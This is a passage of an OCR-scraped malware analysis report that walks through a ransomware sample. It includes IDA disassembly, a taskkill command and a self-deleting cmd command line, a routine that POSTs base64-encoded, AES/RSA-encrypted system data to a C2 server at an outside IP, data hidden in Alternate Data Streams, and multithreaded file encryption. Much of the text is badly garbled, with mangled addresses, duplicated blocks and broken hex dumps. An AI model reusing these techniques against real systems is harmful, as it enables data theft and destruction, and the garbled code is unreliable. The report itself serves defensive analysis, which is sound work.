LB BTG T T | esp, #Lh
L B T R R ] mhee-l e _ditabid
" s - Ea . | =
BRI R AT ] PEOERIIMANO I BEL push wali § oint SR
ISEHEHBAER] Do ABASL1; INEHHESGA SRS puah wni 5 1pSieing| KNS
GEFNGIANABARE] o wdi, wax PRGBS IANER call whx ; lstrlend L]
GOGHRGEIANAINET push ali= i int SOEIIAMEEAA RIS aLb wax, wdi ]
BEARREARdEIDES push adi 3 LPCWETR OBHIABEHILEIIE push wax z int —
SOIREGIARIEDES push attset aTaskkiLIFTIR ; “taskkill JF /T /TV | BEO0SRSE0A484950 push sl o lpstring
EDREECDRRdEd284 call Str concat BECORREEDALE4STE call sub 495513
EDBEEEDDRIELAEF push 1 ; int BECOBEEEDDLE4ST now esl, oax
EDBEEEDRAELAT] push offset asc_ 287288 ; °°° BECDBEREDALEASTE puth 1 = int
BA3NEREaIRIRATE punh Bax 3 lpstring BEOODEREDALBASC T Ly 138 = 1psString
B BERIARE 1Y call str_goncat BEASHIHBEAILRASCE call Prep_taskkill_cormand
BERRIEESIRAA L psh wdi i lphen BECSRIEEESIG AT prsh esi i lpren
[-en HIH S BHE TR TR e BEL, BHE BRSHIRBESIL S E call Froe_beap
EEHEIIARATF call Frae_hwap AEHARMEEAL DG ald wEp, 1Eh
CEAMGIEIABARG push ks i int DOGHRINABESRAM0E e shart lac_dB40nE
GOIIRCCOAAAERRS push aal 3 LPCWSTR
EO3EE00RA4E40EE call Pome-shall caller wrapper
ED3REEE0A4E49BE puUsh esl ; lphen
SOPEEEDIEdEdaBl call Free heap
ESGREESIERAE4A0] add esp, ZBh
EO3EEEEAIRAR4A3 Jnp short loc_daasce
= Ter
i ——— I

Another way to browse through the code is to use the IDA feature Xref from graph. This can
be done because the sample is not obfuscated, and the windows API calls are been referred
explicitly. Using this tool we can guide our analysis following the Windows API calls of

interest

-

Well...l said we could use it, not that it was small nor easy ;). However, if we zoom into it, we
can have a good understating of the different functions and have a gist of their purpose. For
example:

—

L L e e ey o
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_ s

-

Here we see the “ShellExecuteW "API call (always interesting to see what the sample might
try to execute) that is called right before exiting. If we go where it is called, we end up in the
following routine :

ol =

: Attributes: noreturn bp-based frame
sub_484ABB proc near

Filename= word ptr -288h

push ebp

Mo ebp, esp

sub esp, 288h

lea eax, [ebp+Filename]

push esi

push edi

push 1a4h j nsize

push eax ; lpFilename
xor edi, edi

push edi ; hModule
call ds :GetModuleFileNamal

push edi ; int

lea eax, [ebp+Filename]

push eax ; LPCWSTR
push offset aCTimeoutT15Nob ; * /C timeout /T 15 /NOBREAK 5& de
call Str_copy

push 1 ; int

push offset asc_d4e7448 ; /F
push eax ; lpString
call Str_copy

add esp, 1Bh

mov esi, eax

push edi 3 nshowCmd
push edi ; lpDirectory
push esi ; lpParameters
push offset File ; “omd.exe
push offset Operation ; "open”
push edi ; hwnd

call ds:shellExecuten

push esi ; lpMem

call sub_4d818C4

pop BCx

call sub_421144

sub_484A88 endp

The routine consists of calling the API “GetModuleFileName” with “hmodule” Null to get the
path of the executable file of the current process. Then, it prepares a command line that
would look like execute the command and then exits.
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https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamea

By looking at the XRef graph we also notice some classic Windows API calls used to send
http packets over the network. If we follow the references we find the following routine :

02000000004@50DB ; int _ cdecl C2_handler(LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszObjectName, LPCSTR)
P0808eaPeR4858D8 C2_handler proc near
Be808080804858DB
00000000024858DB Buffer= byte ptr -284h
?90900000004858DB dwNumberOfBytesRead= dword ptr -ech
P0008000024858DB hRequest= dword ptr -8
PEP0EREReR4RSeDB hInternet= dword ptr -4
4058DB lpszServerName= dword ptr 8
PE008eaR8R4858DB nServerPort= word ptr  @ch
60000000004050DB lpszObjectName= dword ptr 18h
900000000R4858DB arg_C= dword ptr 14h
@eaoeeseee4e5eDB
20008080004850D8 push ebp
PEA00RERBR4ABSADC mov ebp, esp
02002080004850DE sub esp, 2084h
PE808e80e84858E4 push ebx
60000000084050E5 push esi
PE000R0RBR4B5REE xor esi, esi
308080080084050E8 push esi ; int
00800000004850E9 push [ebp+arg_C] ; LPCSTR
4058EC push offset aData ; "data="
02002080004850F1 call sub_4833B9
B88P8080884850F6 push 1 ; int
60000000004050F8 push 48h ; char
90008000004058FA push 2Bh ; char
@0808000084058FC push eax ; lpMem
20008080004850FD call Handle_data_structure_?
PEP00RERBR4B5182 mov ebx, eax
2000000000485104 add esp, 1ch
PE808e808R485187 test ebx, ebx
0080000000485189 jz loc_485234
200008080040518F push edi
28880000004085118 push esi 5 dwFlags
20000000004085111 push esi ; lpszProxyBypass
0800000000405112 push esi ; lpszProxy
20080000004085113 push 1 ; dwAccessType
B608080820405115 push offset szAgent ; "Mozilla/4.8 (compatible; MSIE 6.8b; Win"...
eeceoe082040511A call ds:InternetOpena
2008000000405128 mov edi, eax
B28080008004085122 test edi, edi
2000000000485124 jnz short loc_485133
= .
Gegeeeeeandes133
6000080000405133 loc_485133: ; dwContext
9000620000405133 push esi
Beepeeeesedes134 push esi ; dwFlags
6000680008405135 push 3 ; dwService
0e0B6EeeeR485137 push esi ; lpszPassword
@0epeeeaesed4es138 push esi ; lpszUserName
Beepeeaes8aes139 push dword ptr [ebp+nServerPort] ; nServerPort
48513C push [ebp+lpszServerName] ; lpszServerName
800062000040513F push edi ; hInternet
eoeoeeepeadeslde call ds:InternetConnectA
0000080088405146 mov [ebp+hInternet], eax
B2006000004085149 test eax, eax
©000020000485148 jnz short loc_405168

=
2808000800485 160
2000000000405160 loc_4085160: ; dwContext

168 push esi
20080008004085161 push 808080008h ; dwFlags
20000088084085166 push esi ; lplpszAcceptTypes
28090008084085167 push esi ; lpszReferrer
20080008P8485168 push esi ; lpszversion
20080008004085169 push [ebp+lpszObjectName] ; lpszObjectName
2000000808408516C push offset szVerb ; "POST"
20080008004085171 push eax ; hConnect
2008000000405172 call ds:HttpOpenRequestA
20000008004085178 mov [ebp+hRequest], eax
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eeee0ee000485133
Be80008000405134
feepeea0endesl13s
Bea0608080405137
85138
eeee0ee000485139
Bea0eea08040513C
feepeea0andes13F
Bea0608080405140
B0epeea0an4es146
eeee0ee000405149
485148

push
push
push
push
push
push
push
push
call
mov

test
jnz

esi

edi

; dwFlags
; dwService

; lpszPassword

; lpszUserName

dword ptr [ebp+nServerPort] ; nServerPort!
[ebp+lpszServerName] ; lpszServerName

; hInternet
ds:InternetConnectA
[ebp+hInternet], eax
eax, eax

short loc_485168

=1
\oeeepea8485168
|I20e0000000405160 loc_4@516@: 3 dwContext
08eeeRe0848s168 push esi
'2eeeeee08485161 push segeaeesh ; dwFlags
8868060008485166 push esi ; lplpszAcceptTypes
'0AeaReRAEa485167 push esi ; lpszReferrer
'I2pe0R00000485168 push esi ; lpszversion
oeeepeea0848s169 push [ebp+lpszObjectName] ; lpszObjectName
'20e000080048516C push offset szVerb ; "POST”
|8808060008485171 push eax ; hConnect
PEeaperaea4es172 call ds:HttpOpenRequestA
|I2000000000485178 mov [ebp+hRequest], eax
oeeape0aead48s178 push ebx ; lpMem
epeeeeee0848517C test eax, eax
B86aR6BABA4B517E jnz short loc_485194
TL
[ '
‘oeeepe0ee8485194
|280000280084085194 loc_4085194:
2868060888485194 mov esi, ds:lstrlenA
'20e000008848519A call esi ; lstrlenA
'I20e000000048519C push eax ; dwoptionalLength
190 push ebx ; lpOptional
'2020000088408519E push offset szHeaders ; "Content-Type: application/x-www-form-ur”...
20080600884851A3 call esi ; lstrlenA
'2BeaDeRAAB4BS1AS mov esi, [ebp+hRequest]
2000000000485 1A8 push eax ; dwHeadersLength
\28eeeeR8ea4e51A9 push offset szHeaders ; "Content-Type: application/x-www-form-ur”...
2000000000485 1AE push esi ; hRequest
1AF call ds:HttpsendRequesta
28080608084851B5 test eax, eax
I20000000084851B7 jnz short loc_4@51C9
[P + = -
PBE8800B884851B3 push ebx ; lpMem B60806060864051C9
f0a0apeeAR4R51BA call Free_heap f0aeaReRan4R51C9 loc_4851C9:
00000000004051BF mov esi, ds:InternetCloseHandle||@@eee0eea04@s1Co xor eax, eax
P080808eaRaRs51Cs pop ecx f0808000804051CB push eax ; dwContext
PPeeeeeanses1Cs push edi 2008000804051 CC push eax ; dwMoveMethod
60808060804851C7 jmp short loc_485284 608880608040851CD push eax ; lpDistanceToMoveHigh
B51CE push eax ; lDistanceToMove
00peeeeeae4051CF push esi ; hFile
f08e8080a0405100 mov [ebp+dwNumberOfBytesRead], eax
eeeeeeeeee4e51D3 call ds:InternetSetFilePointer
60088060804051D9 lea eax, [ebp+dwNumberOfBytesRead]
f0eeaperases1nC push eax ; lpdwNumberOfBytesRead
eepeaeeeae4es51DD push 1F4h ; dwNumberOfBytesToRead
4B51E2 lea eax, [ebp+Buffer]
eepeeeeea04051E8 push eax ; lpBuffer
608880608040851E9 push esi ; bFile
B0000000R04051EA call ds:InternetReadFile
6e0880600804051F0 push ebx ; lpMem
60008088804851F1 mov esi, eax
eepeeeeeae4e51F3 call Free_heap
4851F8 pop ecx
G0808060804051F2 test esi, esi
6e0800608040851FB mov esi, ds:InternetCloseHandle
f0aeapeeansns2a1 push edi ; hInternet
6200800000405202 jnz short loc_485214

By exploring this routine, we see that a post request'is done. But now the question is what
information is been sent. In the next section we are going to find out exactly what is been
sent via the post http request.

In order to fast forward the analysis, confirm some hypothesis, and discover new
functionality, we will start the sample in the x32/64 debugger while having Procmon and
FakeNet running next to it to get more insights.

Dynamic analysis

Now that our ransomware is running in a controlled environment we can see in more details
how the different commands and processes are been killed by it.
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https://x64dbg.com/#start
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
https://github.com/fireeye/flare-fakenet-ng
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Let’'s continue where we left trying to understand what is sent to the server over an http post
request. In the following screenshot we can see how the IP and Port are decoded from the
string stored in the “.rdata” section of the executable.
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Once it has that information the malware will start preparlng the request This means settlng
up the headers and the content that will be sent. Once done it will call the API call
“‘HttpSendRequest” to send the http request. Using FakeNet we received that request and
respond with a fake site to emulate the “C2”.
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storing HTTP

As the picture shows the ransomware sends a big blob encoded in base64 to the c2 server
at “http://217.8.117[.]26/gateinfo”. But where is this information coming from? For this we
need to go back to the code an analyse what happened so far.

aegoeea0o4841aF

280020000040418F Gen_json_with_data proc near
cesooeeae42410rF

2200000002404168F var 18= dword ptr -1EBh
g8g0ee00ee42418F lpMem= dword ptr -14h
280020000040410F var_18= dword ptr -18h
2e000e008048418F var C= dword ptr -eCh
Sogee0000040416F var_8= dword ptr -8
200000000040418F var 4= dword ptr -4
200000000040410F lpstring= dword ptr 8
280000000040416F arg 4= dword ptr BCl

=%

B88088000840418F

280022000040418F push ebp
2800022000404110 mov ebp, esp
B000200000404112 sub esp, 1Bh

B2800200000404115 opush ebx
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soaoeoeeae4041le
degoggopoe4e4117
gegoeoeea404118
gogee0eeae404110
dogoogoboedadllr
gooogoapoade4124
gopeeoepaedadal12?
oogoeoepae404129
degoggopaedodlac
Be00eeeBRR4AR413]1
sopeeoepae404133
soaoeoeeae404136
degoggopoe40413B8
segopeepae4413E
2ee0e02000404143
dogogdoboadadllic
gooogoapoe40414B
gopeeoepaadad14E
oooaoeoepae404153
degoegopae404155
B800000080404156
sopeeoepae404158
Boa0e0eea840415E
degoggopoe404163
2egeeeeea0404165
gogee0e0ae40416A
2000000000404168
dooogoopoade4aiie
gopeeoepaedadqli2
oopoeoopae404173
degoggopaedoali4
Be80Re0BRR4AR4179
sopeeoepae404178
soaoe0eeae40417C
degoggopoa4e417D
gegeeoeea404182
gogeeoe0ae404183
2e80000000404188
dogopoopoa4e4189
gopeeoepaedadlse
Boe0e0000040418C
degoegopeedo4191
BB80ReeBRR4AR4194
Sopeeoepae404195
Boa0202000404194
degogdopoa404198
2egeeeeea404140
gogee0eped4041A1
200000000040414A3
dooooooboa4o41A4
B0000000004841A9
B0202000004041A48
degoegoeoe4a41Ar
B880Re0BRR4R41E0

In this function we see that there is a téfnplate for a json file were some details about the
system are gathered and later appended to the json temple string. Examples of details that
are gathered include but are not limited to:

push
push
call
mov

call
push
mov

mov

call
mow

mov

call
mow

call
mov

call
mow

call
push
push
push
mov

call
push
push
push
call
push
push
push
call
xor

inc

push
push
push
call
push
push
push
call
add

push
push
push
call
push
push
push
call
push
push
push
call

esi
edi

Get_HW_profile hwid

ebx, eax
Gen_token_?
[ebp+lpString] ;
edi, eax
[ebp+lpMem], edi
Unicode_to_ascii
esi, eax
[ebp+var_18], esi

1pString

Get_current_os_regkey

[ebp+var_4], eax
Get_username

[ebp+var_8], eax
Get_computer_name
[ebp+var_C], eax

Get_locale
a ;
ebx H

offset aHwid ;
[ebp+var_18], eax
Append_str

1 ;
offset aToken ;
eax H
Append_str

1 ;
edi H
eax R
Append_str

edi, edi

edi

edi 3

offset aUserid ; °

eax H
Append_str

edi H
B H
eax H
sub_48337F

esp, 48h

edi H
offset aBuildid ;
eax H
Append_str
edi

17h

eax
sub_40337F
edi H

Tma me ww

offset aExt R T S AT

eax :
Append str

o GetCurrentHwProfileA

int
LPCSTR
"I\ hwddy

int
"WNoA"token\"

lpstring

int
LPCSTR
1pString

int

lpstring
int

int
1pMem

int

"\",\"buildid\":\""

1p5tring
int

int
lpMem
int

1pString

WV, W Tuserddy T i
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e Gen_token (some crypto API calls are involved)
e Query the registry key “

o GetUsername

o GetComputername

e GetlLocale

o Etc.

Once it finished querying the system it generates a json that looks as follows:

i
After the information is gathered, we see that some encryption is initialised (creating

encryption keys, specifying algorithms, etc) but some of the information used is queried from
a file that was written in “%temp%\\boot.sys” in an earlier stage. The most interesting aspect
of this, is that the information is not read from the file itself, instead it queries the file using
the convention “filename.ext:string”. This means that this ransomware is using Alternate
Data Streams to hide information. Using the ADS-spy tool we can inspect the content that is
been read by the malware.

|3 ADS Spy v1.11 - Written by Merijn - m] Y

Alternate Data Streams [AD5) are pieces of info hedden a: metadata on files on MTFS dives. They are not visible in Explorer and the size they take up iz not reported by ‘Windows. Recent
beowezer hijackers started using A0S to hide their files, and very few anti-malware scanners detect this. Use ADS Spy to find and remove these streams.
Mate: this 2pp can also display legitimate ADS streams. Don®t delete streams if you are not completely sure they are malicious!

¢ Quick scan Windows base folder only)
™ Full scan [all NTFS drives)

(# Sican only this folder: |C: Wsers\REM \appD atatLocalhTemp J
[v Ignore safe system info data streams (encryptable’, ‘Summanylnformation’. et)

[ Calculate MD5 checksums of streams' contents

[ Sean the system for alternate data streams | Remove selected steams |

C:\U zers\REM'AppD atatLocalhT emp'boot.sys : adbpgmig |6 bytes)

C:AU gers\REM\AppD ata'Locah T emphboat gps | lapwebwplzuwokgu (744 bytes)
CAlsers\REM appD atatLocalTemphboct. sys © bqgwsimezeghnwag (2112 bytes)
CAlzers\REM\appDatatLocalhT emphboot sys | witonhaylpenh (46 bytes)

IScan complete, found 4 altemnate data streams [aD5's)

24/33
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e 94/ DS BZAPECSD S G a /45 nigF EvboHHIE+BpiSCeAlhd3HARY 2Ze1 L

IE cRRTb220B 430 /n2'rJ o+g2Cltof dFOE LU ndcdBur S\ ThelhzPbne 1 g23ge

2P1 GmarspZ oy T2ViFYBIGwwbE YhabT1 547 +551 ERinchilvkEl vopoBS 2EMg

E/ Ak +e0 AR GEEqu2hizeZ EMD GS W1l pAD2F cuE /M Ep+ 24DCT 4+ 200 WEHZ
A O7Lxzmajetdhhrz=

T

Cogy Save bo disk... Edit in‘#ordpad Back

Hiewing conbents of C 5\ sersNREMYAppDatabLocah T empiboot. sys lswebmplzumgkaqu.
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&) ADS Spy vi.11 - Written by Merijn

Mkenate Data Steams [ADS] ame pisces of ko hidden a: metadata on fles oo MTFS dives. They are not visble in Explorer and the size they take up iz not repanted by Windows. Recent browser hijackes: staned using ADS
to hide ther fles, and very lew snb-maware scanners: detect this s ADS Spy to find and emaove these seams,
Makte: tiz app can also daplay lsptimats ADS steams. Don't delete streams if pou are nok complatsly sus ey are malicious!

7 Quick scan [Windows baze foldar coly)

£ Full zcan (all NTFS dnves|

&+ Scan arly this foldes [z REMARED 2t Loca Temp |
W lgnoee sale system infio data streams [encrpprable’, ‘Summand réomation’, etc]

[ Calculzte MDS checksunes of streams’ comtents

Sican the sstem for akernate data steams | |

ZUEMh

Copy | Save bo dhak... | Edit in "W ordpad | Back |

[Wimwing contents of C:AU sers\REM\AppDatatLocahT empbbant sy adbprmig.

Hidden in this file we can find the generated unique extension, the RSApublic key, and the
Private Session Key. Once these values are retrieved the encryption of the json string takes
place.

ol e -

0000000000404F8C

0000000000404F8C loc_404F8C: ; hKey
0000000000404F8C push [ebp+phKey]

P00000PRRR4RAF8F call BCryptDestroyKey
9000000000404F94 push 0 ; dwFlags
0000000000404F96 push [ebp+phAlgorithm] ; hAlgorithm
0000000000404F99 call BCryptCloseAlgorithmProvider
0000000000404 F9E mov esi, [ebp+lpString]
P00000PPOR404FAL lea eax, [ebp+pcbResult]
0000000000404FA4 push 1 ; dwFlags
0000000000404 FA6 xor ecx, ecx

9000000000404 FA8 push eax ; pcbResult
0000000000404FA9 push ecx ; cbOutput
000000000R404FAA push ecx ; pbOutput
0000000000404 FAB push 18h ; ¢bIV
0000000000404FAD lea eax, [ebp+pbIV]
9000000000404FBO mov dword ptr [ebp+pbIV], ecx
0000000000404FB3 push eax ; pbIV
AAAAARAARAMNAANRACDA wii=l ~ s wmPAanddd asTadla
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COUOUOUOTOS0NS T D

©000000000404FB5
8000000000404FB6
©000000000404FB9
©000000000404FBC
2000000000404 FBF
0000000000404FC1
8000000000404FC2
©000000000404FC3
©000000000404FC6
2000000000404FCB
©000000000404FCE
©000000000404FD3
0000000000404 FD4
©000000000404FD6
2000000000404FD8
2000000000404 FDB
2000000000404FDC
8000000000404FDF
2000000000404FE2
0000000000404FE3
©000000000404FES
2000000000404FE6
0000000000404 FES
B0000000BB404FE9
©000000000404FEF
©000000000404FF0
2000000000404FF1
2000000000404FF4
8000000000404FF9
0000000000404FFB
©000000000404FFC
2000000000404 FFF
2000000000405002
£000000000405005
0000000000405006
©000000000405008
200000000040500E
2000000000405010
2000000000405013
0000000000405016
0000000000405019
©00000000040501E

Pusin
push
mowv

mov

mov

call
push
push
push
call
push
call
pop

push
mov

lea

push
push
lea

push
push
push
push
push
call
push
push
push
call
xor

push
push
push
push
push
call
mov

mov

add

push
mov

call
push

ELA 3 Prauuinginiuv
esi ; 1pString
[ebp+var_38], ecx
[ebp+var_34], ecx
[ebp+var_3@], ecx

ebx ; lstrlenA

eax ;3 cbInput
esi ; pbInput
[ebp+hKey] ; hKey
BCryptEncrypt
[ebp+pcbResult] ; dwBytes
Get_heap

ecx

1 ; dwFlags
ebx, eax

eax, [ebp+pcbResult]

eax ; pcbResult

[ebp+pcbResult] ; cbOutput
eax, [ebp+pbIV]

ebx ; pbOutput
16h ; cbIv

eax ; pbIv

z] ; pPaddingInfo
esi ; lpString
ds:1lstrlenA

eax ; cbInput
esi ; pbInput
[ebp+hKey] ; hKey
BCryptEncrypt

esi, esi

esi ; int
[ebp+var_20] ; int
[ebp+1pMem] ; int
[ebp+pcbResult] ; int

ebx ; lpMem
sub_401047

ecx, [ebp+pcbResult]

edi, eax

ecx, [ebp+var_20]
[ebp+1pMem] ; lpMem
[ebp+cbBinary], ecx

Free heap

ebx ; lpMem
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©00000000040501F
0000000000405024 add
0000000000405027 push
000000000040502A call
000000000040502F
0000000000405030 push
2000000000405033
0000000000405038 lea
©00000000040503B mov
000000000040503E

DRAARAARRAAAAGELAZTLC

call

push

call

push

1“5

Free_heap

esp, 1Ch
[ebp+hKey] 3
BCryptDestroyKey
esi ; dwFlags
[ebp+hObject] ; hAlgorithm
BCryptCloseAlgorithmProvider
eax, [ebp+cbBinary]
[ebp+var_2C], esi

eax ;
rﬂl‘l“J—ll =l '-.“".I

hKey

pcchString

[=N= "4

"
BRRGARBARRABAD0T

8AAGARGAREAR4DD1 loc_484D01:

20000E09Re424D01 mov
BHRGOEEORRABAD0T lea
5OAGAERAARIBAD0A push
©90OBEONEIB4D0E lea
BHBSEEROREIBIDDE mov
£OABEARARBIBADEL push
B000EADREIBIDER mov
GOBOOROVIRABIDET mov
©OAGAE0AARIBADEA puUSh
©000OBEDBEIBIDER call
©AAEABRAARIBADED push
£OABEERAARIBADEE push
200080088184DEF call
©OBOOREDDEADIDF4 add
BOPSAEE9RLIBADF7 TesT
20B00EAGRE4B4DFY jnz

ebx, ds:lstrlend

eax, [ebpechinput]

eax ; pebBinary
eax, [ebpepbInput]
[ebp+pblinput], edi

eax ; dnt

esi, offset Publickey RSA_? ;

[ebpechInput], edi

st ; 1pString
ebx ; lstrlend

eax ; cchString
esi ; pszString
Bases_decade

esp, 18h

eax, eax

short loc_4@4E19

"UINBMQAQAAADAANAAATAAAAAAAAMAAMAQAB s gM" , .

The json string is encrypted with AES CBC and the symmetric key encrypted the with the
public RSA key. In the following screenshot we can see the json string in plaintext and then
encrypted.

Pl

2e22e0RARB4RIELD

6GERGAABREIAIELD Ko
1B lea
00BEGAAEOB4RIELE push
6EEREAREOBAGAELF push
20000038084R1E22 push
BEBBOVABOBARAEDS push
26 push
68BEOBABOBABIEDE push
0eEROAAEOBIRIEC push
GeEReaREOBAeIE2F call
2000008808401E34 Lest
ins

EOBPGOEERB4RIE1D loc_J4B4E19:
est,
eax,

esi

[ebp+cbInput]  ; chbInput
[ebpspbInput]  ; pbInput

wax ; phKey
offset aRsapublichlob ; “RSAPUBLICELOR"

esi

[ebpsphilgorithm] ; halgorithm
BCryptInportieyPair

eax, eax

short loc_484E4D

esi
[ebp+phkey)
; dwFlags

; hImportkey

==
BRHEO00R0BIBLEAD

B80000B00E4BLEAD 1oc_aBAEAD! ; lprem
00000DAGOBADAELD push  [ebpepbInput]
@B00EABRARIBLES call  Free_heap
@00260B3DRIBLESS push  20h ; duBytes
0000000000404E57 call  Get_heap

2200000000484E5C pop ecx

BBHPSAARGABAALESD pop ecx

G006ROA0BABLESE push 2 ; dwFlags
GBACORARORABIEEE push  26h ; chBuffer
G0060G300B4EE2 MoV edi, eax

0000ORARREABIEE push  edl ; phBuffer

SD000A0RIDIEES push esi

call  BCrypt
2200003000184E6E test eax, eax
200O0BONB404EED ns short loc 484E90

i hAlgorithm

- PE]

2DBeOBE2084BSE00

BOPOO0BIRBIBLENR Loc_4B4ESE
6DACOBBRRRIBAESR push  esi
2PBOAABIABIALET] push esi
2P0OO0BR0RIBSEI2 push offset ahes HL
S80AEEIRRIASE07 laa eax, [ebp+hobject]
2PBeOBBREEABAEAA push eax

; dwFlags

; pszImplementation)

5 phalgarithn

call BCryptOpenAl gorit)
GERGOBBDRBIBSEAR test  eax, eax

BABOARAAIBRIALEA2 N short loc_deqean
T

e

BEDAA0AEOAIBIEAD
BROABROREAIRIEAD loc_ABMEAD:
BE0AEOREGAIBIEAD push  esi
DeOARGOREALBIEAE push 20h
BOOABRARGHIBIEDD push
BE6OIOREGAIBIERS push
BEOAEGARGABIERA nush

offset pblnput ; “Chainin
offset aChainingmode :
leboshobiect ]
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*MIOLIC 0 ¥BTONIEM O wETCW W 1
|+ WBTON UM 1 xA7cW oM 1 wETCRZM L
- BTON DM 1 xBTON_DM xBTCH_RC O (Wound Wear)
o *TOLPC 1 (Reals)
0 FF FF
i sxcsr 00001780
MxCSF_FZ O MaCsr_PM 1
oM 1 Macsrzd 1
MxCSF_UE O wuCSP_PE O
MxCSF_OE 0 MxCSFZE 0
MxCsrIE O MaCsrDM 1
»
793856877
exe: 34119 #3719
PHoumpl EH0wmp?  ENDwmpl EWDwed PN Owes Bwmen: ) s
3 20 66|30 31 66 b 31 31 69 320 9 39
8 o M W 71 36 6236 60 3936 33 64
22 74 6¢ 68 65 6x 22|3a 22 53 59 (61 68 71
A dC 46 de 30 49 67 61 BA 45 44 67 45
48 67 &9 » 62 54 51 59 44 56 TA 4
4171 37537 62 63|32 69 73 38|30 00 DA r]
22 78 7368 72 €3 64(22 3 22 M (22 2 22 Fe e
69 B¢ 64 69 64 27 3a|22 32 33 22|3c 27 &5 00SDFABG
22 3a 22/5a 55 68 40(3% 68 21 2|21 & 73 oot
PR u e D0SOFABS TETUIN 19 79385409773 20040064678240018428. 00NB278S from 793854977 32000003646
77 69 66|75 73 65 72|8K 61 60 65(22 I 27 s e
4D 22 2¢|22 77 €5 |70 63 6 61|60 85 22
44 45 53 48 54 4F 0 32 43 3149 51 48
3c 22 72173 61 68 65(7% 22 3 22(57 30 33
84 56 4a 40 57 36 2¢ |28 63 43 3639 43 66
§2 55 5379 31 65 6770 45 65 49(6C 79 38
i H mAaire w mai_em & maarum 4
o | 00BB4FF4 00 00 > $r_{ L oMmcEr_zM 1 MxCsr_IM 1
[+ MXCST_UE O MxCsrPE 0 MaxCsP_DAZ O
. o WXCST_OE O MXCST_ZE 0 MxCsrDE O
o il MXCSP_IE D MxCsr_DM 1 MaCsrAC O (Round wear)
» | 0oes 5002 ¥E 75 EB J
» | ooessoos 53 g = 9 3|0 wnlocked
» | 086§ Ei 3c co PR oFr Sedd7712ase0036667624d018020, BB1047 -
= | 0068 5008 88 40 €8 mov ect,dword ptr ss:febp- 165
- D eaacHe
‘ s
e3i-00A5T44E
793858 . &xe I J4FFY B4IF9
-
oumpl  @MDump2  @MOumpl  oumod  oumps B waxhi 3 st el
O0I0FIER
0090FIC
00A7F310 | O€ €3 BL 66|F3 D1 44 oA E2 78 1c 03 iz ia]
00A7F320 | 39 20 Dk 92|94 CB cc 8163 70078 0 Fivei a4
0aATFI30 | 4D BF 8 92 65 F6 TA 17 F7 cE Rerare
0047940 |67 §7 0L 28|3C 76 D7 FE da #a 45 8a s
0OA7FI50 | A8 0D A3 94 A% 14 84 FQ 86 20! DOSOFADE
DOA7FDE0 |63 3F 7 cA 49 83 2 93 €3 38 fswenpee ]
00ATF370 |48 Ic 64 03 15 9 87 50 5A £ fii o
00a7F980 |62 90 31 3094 78 1 F] 8 14 89 SHOALD
COATFDO0 B8 14 14 3715 78 13 TE 40 DX 4 21 1 eyt
DOATFIAD (€9 95 5907 2¢ ¢l 82 02 FE t DOADFALS
0aA7F380 | 7D 64 c 76 84 Fé 35 o 38 F i)
00ATEICO | 1D CB 08 1 01 oF & 7 F BOBOFAZ0
00A7¥900 | FC 49 78 43|14 €3 CF 40|08 OOSOFAZE
DOATFIEQ | I 0O 7 €3 35 9825 CA 44 5034 56 BE fessatn b
| 2 e b s R 00SDFAZC 310 | return to 7938506977 320000036067624d810628, 00684310 From 793856977 32006003606
0047510 | 04 O 5 58 07 70 s BC e o
COATEAZO |27 A 2 0 frissanrd
00A7¢A30 | D8 Sc 31 |03 8E 40 2 I ] oot
TEAR0 (€9 4C CA BA|27 A 53 86|aF 5 2 B [ELE. 'V, Plox*ok L L I
DOATFAS0 | 40 B8 4 54 o7 1 87| BhaT0", [+ 7Axas. roraie
TEASD D FF &0 7! e F FB| 1y” . OImdBuex: firtisieaprd
00A7FAT |00 O Bc 50|53 81 33 2 e 08 8A 80|, .MPS, 340 piseati
COAZFABD | 2E B8 22 2 <€ 94 21 10|, -1.1"0. Fiioerd
FFA30 |43 FE OE 8C & 53 3 . DOSDFASE
TEAMD 64 38 D 1 5¢ AL|92 85 BB 2E| 70 5 Al v
0OATFASO | 24 56 9A 58(9C F3 1£ 9c 30 83 £1 78| A6 CA EE FE fos ety
DOA7FACD | EE B7 BD F 26 BA 81 OA DA B2 BE 5F FC ED e N
JFADOD | EF 58 07 20 81 10 £2 4 4572 80 GF EO v e ¥
Pavteaen | e 38 %e rtlce 3 34 Shloe cn &3 =1l 1 we & =

After encryption, the json is base6 4encoded and then added to the http post request as
already shown.

What about the file encryption? After all, this is a ransomware, right? So once the first
beacon is sent to the server the ransomware starts the file encryption in a multithreaded
fashion. This can be seen in the following screenshots:

29/33



feeeeceeee4a2786 push offset szObjectName ; "gateinfo”
fe8ee20ReR482788 mov [ebp+lpMem], eax

feeReeeeee4a278E call Prep_C2_Wraper_?

feeeeeeeee4e2793 add esp, 44h

feeeeeeeee4a279s push ebx ; lpMem

feeeeeeeee4a2797 call Free_ heap

geaggeaeaadaziac pop BCx

feaeeeeeee4e279D lea eax, [ebp+SystemInfo]

feeeeeeeee4a27a8 push eax ; lpsystemInfo
feeeeeeeee4a27Al call ds:GetSystemInfo

2820202884827 A7 mov eax, [ebp+SystemInfo.dwNumberOfProcessors]
2820208884827 AA xor ebx, ebx

feaeeeeeee4e27AC lea edi, [eax+eax]

feeeeeeeee4a27AF push edi 3 NumberOfConcurrentThreads
feeeeceeee4a2788 push ebx ; CompletionKey
feeeeeeeee4a2781 push ebx ; ExistingCompletionPort
feeeeeeeee4a2782 push BFFFFFFFFh ; FileHandle
feaeeeeRae482784 mov [ebp+nCount], edi

feeeeeeeee4a27B7 call ds:CreateloCompletionPort
feaeeeeeee4a27BD mov [ebp+CompletionPort], eax
20820202884827C0 mov esi, ebx

goaggeaeaadaziCc? test edi, edi

soepapaeeala2yca jz

short loc_4@27ES

YT

gogeaeaeaede2iCe
gogeaeaeaede2iCe
gogeaeaeaede2iCe
gogeaeaeaade2iCy
gogoaea0ae4e27CE
gogoaeaeaed4e2iCo
gogoaeaeaede27CE
gogoaeaeaade27CF
gegeaea0aada2iDe
gogoaeaeaeda2iDe
gogeaeaeaada2ybb
gogeaea0ae4e27DE
Be8080808040827E1L
B08080808040827E3

loc_4827C6: ; lpThreadId

push ebx

push ebx ; dwCreationFlags
push eax ; lpParameter

push offset StartAddress ; lpStartAddress
push ebx ; dwStackSize

push ebx ;3 lpThreadAttributes
call ds:CreateThread

mov [ebp+esi*4+Handles], eax

inc esi

mov eax, [ebp+CompletionPort]

cmp esi, edi

jb short loc_4827Ce
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R e et T LI ST B

PR =

AP0BI00DB482980 push edi ; Context
